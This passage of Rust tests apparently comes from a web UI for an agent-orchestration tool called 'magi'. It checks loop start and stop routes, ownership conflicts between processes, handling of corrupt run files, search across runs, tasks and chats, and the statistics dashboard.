17822        assert_eq!(view["last_error"], Value::Null);
17823        assert_eq!(view["daemon"]["running"], false);
17824        assert_eq!(
17825            view["repo"], "/repo/magi",
17826            "the repository a start would use, named before it is started"
17827        );
17828    }
17829
17830    #[tokio::test]
17831    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17832        let f = Fixture::start().await;
17833
17834        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17835        assert_eq!(res.status, 200, "{}", res.body);
17836        let view = res.json();
17837        assert_eq!(view["running"], true);
17838        assert_eq!(
17839            view["owned"], true,
17840            "the loop the UI started is the UI's own to stop: {view}"
17841        );
17842        assert_eq!(
17843            view["merge"],
17844            Value::Null,
17845            "no override was given, so each repository's own config decides"
17846        );
17847
17848        // The same object from the route a waking phone polls first. Two
17849        // surfaces disagreeing about whether anything is running is exactly
17850        // the confusion this UI exists to remove.
17851        let health = f.get("/api/health").await.json();
17852        assert_eq!(health["loop"]["running"], true, "{health}");
17853        assert_eq!(health["loop"]["owned"], true, "{health}");
17854
17855        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17856    }
17857
17858    #[tokio::test]
17859    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17860        let f = Fixture::start().await;
17861        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17862        assert_eq!(first.status, 200, "{}", first.body);
17863
17864        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17865        assert_eq!(
17866            again.status, 409,
17867            "two loops on one queue race for the same claims: {}",
17868            again.body
17869        );
17870        assert!(
17871            again.json()["error"]
17872                .as_str()
17873                .is_some_and(|e| e.contains("already running the loop")),
17874            "the refusal has to say why: {}",
17875            again.body
17876        );
17877        assert_eq!(
17878            f.get("/api/loop").await.json()["running"],
17879            true,
17880            "and the loop that was already running is untouched by it"
17881        );
17882
17883        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17884    }
17885
17886    #[tokio::test]
17887    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17888        let f = Fixture::start().await;
17889        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17890
17891        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17892        assert_eq!(
17893            res.status, 200,
17894            "the answer must not wait for the loop: a run in flight is tens of \
17895             minutes and the operator is holding a phone: {}",
17896            res.body
17897        );
17898
17899        let view = settled(&f, |v| v["running"] == false).await;
17900        assert_eq!(view["owned"], false);
17901        assert_eq!(
17902            view["stopping"], false,
17903            "a loop that has stopped is not still stopping: {view}"
17904        );
17905        assert_eq!(
17906            view["last_error"],
17907            Value::Null,
17908            "a loop that was asked to stop did not fail: {view}"
17909        );
17910
17911        // Idempotent, because the operator cannot tell a slow stop from a lost
17912        // one and will press it again.
17913        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17914        assert_eq!(twice.status, 200, "{}", twice.body);
17915    }
17916
17917    #[tokio::test]
17918    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17919        let f = Fixture::start().await;
17920        // How the operator has been doing it: a `magi serve` of their own,
17921        // heartbeat fresh, in the same home this UI reads.
17922        write_daemon(f.home.path(), Timestamp::now());
17923
17924        let view = f.get("/api/loop").await.json();
17925        assert_eq!(view["running"], false, "not in this process: {view}");
17926        assert_eq!(view["owned"], false, "and not this process's to control");
17927        assert_eq!(
17928            view["daemon"]["running"], true,
17929            "but a loop is alive somewhere, which is what the UI must say"
17930        );
17931        assert_eq!(view["daemon"]["pid"], 4242);
17932
17933        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17934            let res = f.post("/api/loop", Some(body)).await;
17935            assert_eq!(
17936                res.status, 409,
17937                "neither button may pretend to work on someone else's loop: {}",
17938                res.body
17939            );
17940            assert!(
17941                res.json()["error"]
17942                    .as_str()
17943                    .is_some_and(|e| e.contains("4242")),
17944                "the refusal has to name the process the operator must go to: {}",
17945                res.body
17946            );
17947        }
17948        assert_eq!(
17949            f.get("/api/loop").await.json()["running"],
17950            false,
17951            "and the refusal started nothing"
17952        );
17953    }
17954
17955    #[tokio::test]
17956    async fn a_stale_status_file_is_not_a_foreign_owner() {
17957        let f = Fixture::start().await;
17958        write_daemon(
17959            f.home.path(),
17960            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17961        );
17962
17963        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17964        assert_eq!(
17965            res.status, 200,
17966            "a daemon killed a minute ago must not lock the loop out of its \
17967             own home for good: {}",
17968            res.body
17969        );
17970        assert_eq!(res.json()["running"], true);
17971
17972        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17973    }
17974
17975    #[tokio::test]
17976    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17977        let f = Fixture::start().await;
17978        let before = f.get("/api/health").await.json()["loop_rev"]
17979            .as_u64()
17980            .expect("a loop revision");
17981
17982        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17983
17984        let after = f.get("/api/health").await.json()["loop_rev"]
17985            .as_u64()
17986            .expect("a loop revision");
17987        assert!(
17988            after > before,
17989            "the loop is in-process state, so this counter is the only thing \
17990             that tells a second device the first one started it: {before} -> \
17991             {after}"
17992        );
17993
17994        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17995    }
17996
17997    #[tokio::test]
17998    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17999        let f = Fixture::with_loop(launch_broken).await;
18000
18001        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18002        assert_eq!(
18003            res.status, 200,
18004            "starting it is not the failure: {}",
18005            res.body
18006        );
18007
18008        let view = settled(&f, |v| v["last_error"].is_string()).await;
18009        assert_eq!(
18010            view["running"], false,
18011            "a loop that died must not read as running, or the operator has \
18012             nothing to press: {view}"
18013        );
18014        assert_eq!(view["owned"], false);
18015        assert!(
18016            view["last_error"]
18017                .as_str()
18018                .is_some_and(|e| e.contains("read-only file system")),
18019            "the phone is where a loop that died at 3am is visible: {view}"
18020        );
18021
18022        // And it can be started again: the corpse was reaped, not left to
18023        // occupy the slot.
18024        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18025        assert_eq!(again.status, 200, "{}", again.body);
18026        assert!(
18027            again.json()["last_error"]
18028                .as_str()
18029                .is_none_or(|e| !e.contains("read-only file system")),
18030            "a fresh start does not keep showing why the last one died: {}",
18031            again.body
18032        );
18033    }
18034
18035    #[tokio::test]
18036    async fn a_newer_daemon_status_file_still_renders() {
18037        let f = Fixture::start().await;
18038        // A field this build has never heard of must not turn the status line
18039        // into a 500; that is the whole reason the reader is permissive.
18040        std::fs::write(
18041            f.home.path().join("daemon.json"),
18042            serde_json::json!({
18043                "schema": 2,
18044                "updated_at": Timestamp::now().to_string(),
18045                "idle": true,
18046                "surprise": { "nested": [1, 2, 3] },
18047            })
18048            .to_string(),
18049        )
18050        .expect("write daemon.json");
18051
18052        let health = f.get("/api/health").await;
18053
18054        assert_eq!(health.status, 200);
18055        assert_eq!(health.json()["daemon"]["running"], true);
18056    }
18057
18058    #[tokio::test]
18059    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18060        let f = Fixture::start().await;
18061        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18062        let broken = f.runs().join("20260902-140502-bad");
18063        std::fs::create_dir_all(&broken).expect("run dir");
18064        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18065
18066        let list = f.get("/api/runs").await;
18067        let detail = f.get("/api/runs/20260902-140502-bad").await;
18068
18069        assert_eq!(list.status, 200);
18070        let listed = list.json();
18071        let ids: Vec<&str> = listed
18072            .as_array()
18073            .expect("an array")
18074            .iter()
18075            .map(|r| r["id"].as_str().expect("an id"))
18076            .collect();
18077        assert_eq!(
18078            ids,
18079            vec!["20260902-140501-good"],
18080            "one unreadable run must not cost the operator the whole history"
18081        );
18082        assert_eq!(detail.status, 500);
18083        assert!(
18084            detail.json()["error"]
18085                .as_str()
18086                .is_some_and(|e| e.contains("run.json")),
18087            "the failure names the file to look at: {}",
18088            detail.body
18089        );
18090        // A skipped run has to be countable somewhere, or the UI shows an
18091        // empty history with nothing to explain it - which is exactly what a
18092        // directory full of older-schema runs looks like.
18093        let health = f.get("/api/health").await;
18094        assert_eq!(health.json()["runs_unreadable"], 1);
18095    }
18096
18097    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18098    #[tokio::test]
18099    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18100        let f = Fixture::start().await;
18101        let runs = f.runs();
18102        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18103        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18104        // Text three levels down, in a shape no current RunState has: an older
18105        // schema must still search.
18106        let path = runs.join("20260902-140502-bbbb").join("run.json");
18107        let mut v: serde_json::Value =
18108            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18109        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18110        std::fs::write(&path, v.to_string()).unwrap();
18111        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18112        std::fs::write(
18113            runs.join("20260902-140503-cccc").join("run.json"),
18114            "{ not json",
18115        )
18116        .unwrap();
18117
18118        let res = f.get("/api/search?scope=runs&q=quokka").await;
18119        assert_eq!(res.status, 200, "{}", res.body);
18120        let v = res.json();
18121        assert_eq!(v["total"], 1, "{v}");
18122        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18123        assert_eq!(v["hits"][0]["field"], "text");
18124        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18125        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18126        assert!(
18127            parts
18128                .iter()
18129                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18130            "{v}"
18131        );
18132        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18133        assert_eq!(
18134            flat, "The Quokka leaks across threads",
18135            "whitespace is collapsed"
18136        );
18137
18138        // Terms are ANDed, across different fields, case-insensitively.
18139        let both = f
18140            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18141            .await
18142            .json();
18143        assert_eq!(both["total"], 1, "{both}");
18144        let neither = f
18145            .get("/api/search?scope=runs&q=quokka%20zebra")
18146            .await
18147            .json();
18148        assert_eq!(neither["total"], 0, "{neither}");
18149        // Everything in the task statement is reachable, not only the row text.
18150        let stmt = f
18151            .get("/api/search?scope=runs&q=mobile%20first")
18152            .await
18153            .json();
18154        assert_eq!(stmt["total"], 2, "{stmt}");
18155        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18156        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18157    }
18158
18159    #[test]
18160    fn snippet_ignores_terms_longer_than_the_field() {
18161        let terms = ["ok".to_owned(), "elephant".to_owned()];
18162        let parts = snippet_of("ok", &terms);
18163        assert_eq!(
18164            parts,
18165            vec![SnippetPart {
18166                text: "ok".to_owned(),
18167                hit: true
18168            }]
18169        );
18170    }
18171
18172    #[test]
18173    fn snippet_marks_matches_longer_than_the_window() {
18174        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18175        let hit_len = |parts: &[SnippetPart]| -> usize {
18176            parts
18177                .iter()
18178                .filter(|p| p.hit)
18179                .map(|p| p.text.chars().count())
18180                .sum()
18181        };
18182        let total =
18183            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18184
18185        let long = "a".repeat(120);
18186        let parts = snippet_of(&long, std::slice::from_ref(&long));
18187        assert!(hit_len(&parts) > 0, "{parts:?}");
18188        assert!(total(&parts) <= cap);
18189
18190        let ja = "あ".repeat(130);
18191        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18192        assert!(hit_len(&parts) > 0, "{parts:?}");
18193        assert!(total(&parts) <= cap);
18194
18195        // A short hit, then one straddling the window's end.
18196        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18197        let term = format!("ab{}", "c".repeat(100));
18198        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18199        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18200        assert!(total(&parts) <= cap);
18201
18202        // Only the head matches: not highlighted.
18203        let text = format!("{}z", "a".repeat(119));
18204        let parts = snippet_of(&text, &["a".repeat(120)]);
18205        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18206    }
18207
18208    #[tokio::test]
18209    async fn search_caps_hits_and_snippet_length() {
18210        let f = Fixture::start().await;
18211        let runs = f.runs();
18212        for n in 0..(SEARCH_MAX_HITS + 5) {
18213            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18214        }
18215        let v = f.get("/api/search?scope=runs&q=web").await.json();
18216        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18217        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18218        assert_eq!(v["truncated"], true);
18219        // Every listed run hit carries its list row for the page's filters.
18220        assert!(
18221            v["hits"]
18222                .as_array()
18223                .unwrap()
18224                .iter()
18225                .all(|h| h["run"]["status"] == "merged")
18226        );
18227
18228        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18229        let parts = snippet_of(&long, &["needle".to_owned()]);
18230        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18231        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18232        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18233    }
18234
18235    #[tokio::test]
18236    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18237        let f = Fixture::start().await;
18238        let queue = f.queue();
18239        let mut t = Task::new(
18240            "short title".to_owned(),
18241            "line one\nthe hidden Armadillo detail".to_owned(),
18242            PathBuf::from("/repo/magi"),
18243            Source::Agent {
18244                run: "r1".to_owned(),
18245                node: "chat".to_owned(),
18246            },
18247        );
18248        t.last_error = Some("disk full on /tmp".to_owned());
18249        queue.put(&mut t).expect("file the task");
18250
18251        for (q, want) in [
18252            ("armadillo", 1),
18253            ("disk%20FULL", 1),
18254            ("chat", 1),
18255            ("queued", 1),
18256            ("short%20nothing", 0),
18257        ] {
18258            let v = f
18259                .get(&format!("/api/search?scope=tasks&q={q}"))
18260                .await
18261                .json();
18262            assert_eq!(v["total"], want, "{q}: {v}");
18263        }
18264        for bad in [
18265            "/api/search?scope=tasks&q=",
18266            "/api/search?scope=tasks&q=%20",
18267            "/api/search?scope=chats&q=",
18268            "/api/search?scope=chats&q=%20",
18269            "/api/search?scope=nope&q=a",
18270            "/api/search?q=a",
18271        ] {
18272            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18273        }
18274    }
18275
18276    /// Write one conversation file the way the store reads it back.
18277    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18278        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18279            .expect("seat value");
18280        let turns: Vec<serde_json::Value> = turns
18281            .iter()
18282            .map(|(who, body)| {
18283                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18284            })
18285            .collect();
18286        let doc = serde_json::json!({
18287            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18288            "status": status, "turns": turns,
18289            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18290            "seat": seat,
18291        });
18292        let dir = f.home.path().join("talks");
18293        std::fs::create_dir_all(&dir).expect("talks dir");
18294        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18295    }
18296
18297    #[test]
18298    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18299        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18300            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18301            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18302            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18303            "seat": crate::agent::SeatState::new("talk", "test", 1)
18304        })).unwrap();
18305        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18306        talk.title = Some(talk::ChatTitle {
18307            text: "最近の話題".into(),
18308            source: talk::TitleSource::Generated,
18309        });
18310        let doc = talk_search_doc(&talk);
18311        assert_eq!(doc["title"], "最近の話題");
18312        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18313        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18314        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18315    }
18316
18317    #[tokio::test]
18318    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18319        let f = Fixture::start().await;
18320        write_talk(
18321            &f,
18322            "20260901-000001-aaaa",
18323            "open",
18324            &[
18325                (
18326                    "operator",
18327                    "\n  Why does the Pangolin cache expire?\nsecond line",
18328                ),
18329                ("agent", "Because the TTL is thirty seconds."),
18330            ],
18331        );
18332        write_talk(
18333            &f,
18334            "20260901-000002-bbbb",
18335            "closed",
18336            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18337        );
18338        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18339
18340        let search = |q: &'static str| {
18341            let f = &f;
18342            async move {
18343                f.get(&format!("/api/search?scope=chats&q={q}"))
18344                    .await
18345                    .json()
18346            }
18347        };
18348
18349        let v = search("PANGOLIN").await;
18350        assert_eq!(v["scope"], "chats");
18351        assert_eq!(v["total"], 1, "{v}");
18352        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18353        assert_eq!(v["hits"][0]["field"], "title");
18354        assert_eq!(v["unreadable"], 1, "{v}");
18355        let marked: Vec<&str> = v["hits"][0]["snippet"]
18356            .as_array()
18357            .unwrap()
18358            .iter()
18359            .filter(|p| p["hit"] == true)
18360            .map(|p| p["text"].as_str().unwrap())
18361            .collect();
18362        assert_eq!(marked, ["Pangolin"]);
18363
18364        // An agent turn, in a closed conversation.
18365        let v = search("zebra").await;
18366        assert_eq!(v["total"], 1, "{v}");
18367        assert_eq!(v["hits"][0]["field"], "agent");
18368        // Words may sit in different turns; all must be present.
18369        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18370        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18371        // Bookkeeping is not searched.
18372        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18373            assert_eq!(search(q).await["total"], 0, "{q}");
18374        }
18375        // The first line only is the title; the second line is still a turn.
18376        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18377        // Open conversations are listed before closed ones.
18378        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18379
18380        let v = f.get("/api/search?scope=nope&q=a").await;
18381        assert_eq!(v.status, 400);
18382        assert!(
18383            v.body.contains("scope must be runs, tasks or chats"),
18384            "{}",
18385            v.body
18386        );
18387    }
18388
18389    #[test]
18390    fn a_question_card_links_a_task_id_to_the_task_page() {
18391        let start = APP_JS
18392            .find("function updateAskCard(")
18393            .expect("updateAskCard exists");
18394        let body = &APP_JS[start..];
18395        let body = &body[..body.find("\n}\n").expect("function end")];
18396        assert!(body.contains("question.run_is_task"));
18397        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18398        assert!(body.contains("`#/runs/${question.run}`"));
18399        assert!(body.contains("\"task\" : \"run\""));
18400    }
18401
18402    #[test]
18403    fn plain_text_message_surfaces_go_through_linkify() {
18404        assert!(APP_JS.contains("function linkify("));
18405        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18406        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18407        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18408        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18409        assert!(!APP_JS.contains("innerHTML = text"));
18410    }
18411
18412    #[test]
18413    fn implementation_rate_views_keep_independent_samples() {
18414        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18415            let a = stats::AgentStats {
18416                competitive_entered: competitive_n,
18417                competitive_wins: usize::from(competitive_n > 0),
18418                solo_entered: solo_n,
18419                solo_adopted: 2 * usize::from(solo_n > 0),
18420                ..Default::default()
18421            };
18422            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18423            for (key, n, numerator) in [
18424                ("competitive_win_rate", competitive_n, a.competitive_wins),
18425                ("solo_adoption_rate", solo_n, a.solo_adopted),
18426            ] {
18427                if n == 0 {
18428                    assert!(v[key].is_null());
18429                } else {
18430                    assert_eq!(v[key]["denominator"], n);
18431                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18432                }
18433            }
18434        }
18435        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18436        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18437        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18438        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18439    }
18440
18441    #[test]
18442    fn stats_bars_share_one_id_keyed_plan() {
18443        let start = APP_JS
18444            .find("function statsBarRows(")
18445            .expect("statsBarRows exists");
18446        let body = &APP_JS[start..];
18447        let body = &body[..body.find("\n}\n").expect("function end")];
18448        assert!(body.contains("statsBarPlan(rows)"));
18449        assert!(body.contains("statsAgentTone(row.agent)"));
18450        assert!(!body.contains("candTone(i)"));
18451        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18452        for root in [
18453            "stats-agents-bars",
18454            "stats-solo-bars",
18455            "stats-reviewers-bars",
18456        ] {
18457            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18458        }
18459    }
18460
18461    #[test]
18462    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18463        let start = APP_JS
18464            .find("function renderStatsReviewerScatter(")
18465            .expect("renderStatsReviewerScatter exists");
18466        let body = &APP_JS[start..];
18467        let body = &body[..body.find("\n}\n").expect("function end")];
18468        assert!(body.contains("statsScatterPlan(reviewers)"));
18469        assert!(body.contains("statsAgentTone(d.agent)"));
18470        assert!(APP_JS.contains("function statsScatterPlan("));
18471        assert!(
18472            APP_JS.contains("d.submitted < STATS_LOW_N")
18473                || APP_JS.contains("r.submitted < STATS_LOW_N")
18474        );
18475        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18476        assert!(APP_CSS.contains(".precision-scatter"));
18477    }
18478
18479    #[test]
18480    fn advisor_reflection_is_drawn_as_stacked_segments() {
18481        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18482        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18483        let html = include_str!("../assets/ui/index.html");
18484        assert!(html.contains("Approximate"));
18485        for label in ["reflected strongly", "faint", "no proposal"] {
18486            assert!(html.contains(label));
18487        }
18488        let css = include_str!("../assets/ui/app.css");
18489        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18490            assert!(css.contains(&format!(".{c} {{")));
18491        }
18492    }
18493
18494    #[test]
18495    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18496        assert!(APP_JS.contains("function statsDailyPlan("));
18497        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18498        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18499    }
18500
18501    #[test]
18502    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18503        let start = APP_JS
18504            .find("function scheduleSearch(")
18505            .expect("scheduleSearch exists");
18506        let body = &APP_JS[start..];
18507        let body = &body[..body.find("\n}\n").expect("function end")];
18508        assert!(body.contains("s.seq += 1"));
18509    }
18510
18511    /// The dashboard reads every run's state itself rather than trusting a
18512    /// separately-maintained count, so an unreadable run must be counted the
18513    /// same way `/api/health` counts it - never silently dropped the way the
18514    /// CLI's own `stats::load_all` drops it.
18515    #[tokio::test]
18516    async fn stats_runs_unreadable_matches_health() {
18517        let f = Fixture::start().await;
18518        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18519        let broken = f.runs().join("20260902-140502-bad");
18520        std::fs::create_dir_all(&broken).expect("run dir");
18521        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18522
18523        let stats = f.get("/api/stats").await;
18524        let health = f.get("/api/health").await;
18525
18526        assert_eq!(stats.status, 200);
18527        assert_eq!(stats.json()["totals"]["runs"], 1);
18528        assert_eq!(stats.json()["runs_unreadable"], 1);
18529        assert_eq!(
18530            stats.json()["runs_unreadable"],
18531            health.json()["runs_unreadable"],
18532            "the dashboard and /api/health must never disagree about how many \
18533             runs could not be read"
18534        );
18535    }
18536
18537    #[tokio::test]
18538    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18539        let f = Fixture::start().await;
18540        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18541        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18542        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18543
18544        let totals = &f.get("/api/stats").await.json()["totals"];
18545        assert_eq!(totals["runs"], 3);
18546        assert_eq!(totals["merged"], 1);
18547        assert_eq!(totals["stalled"], 1);
18548        assert_eq!(totals["in_progress"], 1);
18549        // A stalled run must never read as blocked/merged/ready - it is its
18550        // own bucket, not folded into a "decided" one.
18551        assert_eq!(totals["blocked"], 0);
18552        assert_eq!(totals["ready"], 0);
18553    }
18554
18555    #[tokio::test]
18556    async fn stats_advisors_report_proposals_and_reflection() {
18557        use crate::advise::{Advice, AdvisorRecord, Reflection};
18558        use crate::verdict::Proposal;
18559
18560        let f = Fixture::start().await;
18561        let mut state = RunState::new(
18562            PathBuf::from("/repo/magi"),
18563            "main".to_owned(),
18564            "0123456789abcdef".to_owned(),
18565            "task".to_owned(),
18566            Config::default(),
18567        );
18568        state.id = "20260902-140501-a".to_owned();
18569        state.status = RunStatus::Merged;
18570        state.advice = Some(Advice {
18571            records: vec![
18572                AdvisorRecord {
18573                    seat: "advisor-1".to_owned(),
18574                    agent: "alpha".to_owned(),
18575                    proposal: Some(Proposal {
18576                        approach: "do it".to_owned(),
18577                        key_tradeoff: "speed over memory".to_owned(),
18578                        risks: Vec::new(),
18579                        touches: Vec::new(),
18580                        why_not_naive: "breaks under load".to_owned(),
18581                    }),
18582                    error: None,
18583                    duration_ms: 0,
18584                    reflection: Reflection::Strong,
18585                },
18586                AdvisorRecord {
18587                    seat: "advisor-2".to_owned(),
18588                    agent: "alpha".to_owned(),
18589                    proposal: None,
18590                    error: Some("timed out".to_owned()),
18591                    duration_ms: 0,
18592                    reflection: Reflection::Absent,
18593                },
18594            ],
18595            synthesis: Some("blended brief".to_owned()),
18596        });
18597        let dir = f.runs().join(&state.id);
18598        std::fs::create_dir_all(&dir).expect("run dir");
18599        std::fs::write(
18600            dir.join("run.json"),
18601            serde_json::to_string_pretty(&state).expect("serialize run"),
18602        )
18603        .expect("write run.json");
18604
18605        // `alpha` is in no roster here; this test is about the rates.
18606        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18607        let alpha = advisors
18608            .as_array()
18609            .expect("an array")
18610            .iter()
18611            .find(|a| a["agent"] == "alpha")
18612            .expect("alpha row");
18613        assert_eq!(alpha["seated"], 2);
18614        assert_eq!(alpha["proposed"], 1);
18615        assert_eq!(alpha["absent"], 1);
18616        assert_eq!(alpha["strong"], 1);
18617        assert_eq!(alpha["faint"], 0);
18618        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18619    }
18620
18621    #[tokio::test]
18622    async fn stats_hides_agents_outside_the_roster_unless_all() {
18623        use crate::run::Candidate;
18624        let repo = TempDir::new().expect("repo dir");
18625        std::fs::write(
18626            repo.path().join("magi.toml"),
18627            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18628        )
18629        .expect("magi.toml");
18630        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18631        let mut state = RunState::new(
18632            PathBuf::from("/repo/magi"),
18633            "main".to_owned(),
18634            "0123456789abcdef".to_owned(),
18635            "task".to_owned(),
18636            Config::default(),
18637        );
18638        state.id = "20260902-140501-a".to_owned();
18639        state.status = RunStatus::Merged;
18640        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18641            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18642                "index": 0, "label": label.to_string(), "agent": agent,
18643                "branch": "b", "worktree": "/w",
18644            }))
18645            .expect("candidate");
18646            c.label = label;
18647            state.candidates.push(c);
18648        }
18649        let dir = f.runs().join(&state.id);
18650        std::fs::create_dir_all(&dir).expect("run dir");
18651        std::fs::write(
18652            dir.join("run.json"),
18653            serde_json::to_string_pretty(&state).expect("serialize run"),
18654        )
18655        .expect("write run.json");
18656
18657        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18658            v["agents"]
18659                .as_array()
18660                .expect("array")
18661                .iter()
18662                .map(|a| a["agent"].as_str().unwrap().to_owned())
18663                .collect()
18664        };
18665        let hidden = f.get("/api/stats").await.json();
18666        assert_eq!(agents_of(&hidden), ["keep"]);
18667        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18668        assert_eq!(hidden["totals"]["runs"], 1);
18669
18670        let all = f.get("/api/stats?all=true").await.json();
18671        assert_eq!(agents_of(&all).len(), 2);
18672        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18673        // Verify competitive and solo keys exist on agent entries
18674        let keep_agent = all["agents"]
18675            .as_array()
18676            .unwrap()
18677            .iter()
18678            .find(|a| a["agent"] == "keep")
18679            .unwrap();
18680        assert_eq!(keep_agent["competitive_entered"], 1);
18681        assert_eq!(keep_agent["competitive_wins"], 0);
